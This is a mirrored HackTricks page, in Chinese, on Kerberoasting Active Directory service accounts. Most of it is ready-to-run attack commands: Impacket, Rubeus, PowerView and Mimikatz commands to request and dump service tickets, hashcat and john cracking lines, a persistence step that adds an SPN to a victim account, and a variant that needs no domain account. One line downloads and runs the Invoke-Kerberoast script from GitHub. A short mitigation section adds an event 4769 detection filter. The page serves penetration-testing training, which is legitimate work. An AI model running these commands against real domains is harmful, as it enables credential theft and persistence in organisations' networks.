Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-03 18:10:07 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/active-directory-methodology/kerberoast.md

11 KiB
Raw Blame History

Kerberoast


使用 Trickest 轻松构建并自动化工作流程，由世界上最先进的社区工具提供支持。
立即获取访问权限：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

从零开始学习 AWS 黑客攻击直到成为专家，通过 htARTE (HackTricks AWS 红队专家)!

其他支持 HackTricks 的方式：

Kerberoast

Kerberoasting 的目标是收集在 AD 中代表用户账户运行的服务的 TGS 票据，而不是计算机账户。因此，这些 TGS 票据的一部分是用从用户密码派生的密钥加密的。因此，它们的凭据可以离线破解。
您可以知道一个用户账户被用作服务，因为属性 "ServicePrincipalName" 是非空的。

因此，要执行 Kerberoasting，只需要一个可以请求 TGS 的域账户，这是任何人都可以做到的，因为不需要特殊权限。

您需要在域内有效的凭据。

攻击

{% hint style="warning" %} Kerberoasting 工具 在执行攻击和发起 TGS-REQ 请求时，通常会请求**RC4 加密**。这是因为 RC4 较弱，使用如 Hashcat 这样的工具离线破解比其他加密算法如 AES-128 和 AES-256 更容易。
RC4 (类型 23) 哈希以 $krb5tgs$23$* 开头，而 AES-256(类型 18) 以 $krb5tgs$18$* 开头。` {% endhint %}

Linux

# Metasploit framework
msf> use auxiliary/gather/get_user_spns
# Impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip <DC_IP> -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
# kerberoast: https://github.com/skelsec/kerberoast
kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. Enumerate kerberoastable users
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes

具有多种功能的工具，包括可被Kerberoast攻击的用户信息的转储：

# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c

Windows

  • 枚举可Kerberoast的用户
# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
  • 技术1：请求TGS并从内存中转储
#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local

#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

#List kerberos tickets in memory
klist

# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder

# Transform kirbi ticket to john
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
  • 技术2：自动化工具
# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins

# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

{% hint style="warning" %} 当请求TGS时，Windows事件4769 - 请求了一个Kerberos服务票据会被生成。 {% endhint %}


使用 Trickest 来轻松构建并自动化工作流程，由世界上最先进的社区工具提供支持。
立即获取访问权限：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

破解

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

持久性

如果你对一个用户有足够的权限，你可以使其可被Kerberoast攻击：

Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

您可以在此处找到用于kerberoast攻击的有用工具：https://github.com/nidem/kerberoast

如果您在Linux中遇到此错误：Kerberos SessionError: KRB_AP_ERR_SKEW(时钟偏差太大)，这是因为您的本地时间问题，您需要将主机与DC同步。有几个选项：

  • ntpdate <DC的IP> - 自Ubuntu 16.04起已弃用
  • rdate -n <DC的IP>

缓解措施

如果可利用，Kerberoast非常隐蔽

  • 安全事件ID 4769 – 请求了一个Kerberos票据
  • 由于4769非常频繁，让我们过滤结果：
  • 服务名称不应为krbtgt
  • 服务名称不以$结尾（过滤掉用于服务的机器账户）
  • 账户名称不应为machine@domain（过滤掉来自机器的请求）
  • 失败代码为'0x0'（过滤掉失败，0x0是成功）
  • 最重要的是，票据加密类型为0x17
  • 缓解措施：
  • 服务账户密码应难以猜测（大于25个字符）
  • 使用托管服务账户（密码定期自动更改和委派的SPN管理）
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message

Kerberoast 无需域账户

2022年9月，Charlie Clark 发现了一个漏洞，即可以通过 KRB_AS_REQ 请求获取服务票据（ST），而无需控制任何 Active Directory 账户。如果一个主体可以在不需要预认证的情况下进行认证（如 AS-REP Roasting 攻击），就可以利用它发起 KRB_AS_REQ 请求，并通过修改请求体中的 sname 属性，欺骗请求以获取 ST 而不是 加密的 TGT。

该技术在此文章中有详细解释：Semperis 博客文章。

{% hint style="warning" %} 您必须提供一个用户列表，因为我们没有有效账户来使用这种技术查询 LDAP。 {% endhint %}

Linux

GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/

Windows

Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"

有关Kerberoasting的更多信息，请参阅ired.team 这里和 这里。

通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击直至成为专家！

支持HackTricks的其他方式：


使用 Trickest 轻松构建并自动化工作流程，由世界上最先进的社区工具提供支持。
立即获取访问权限：

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}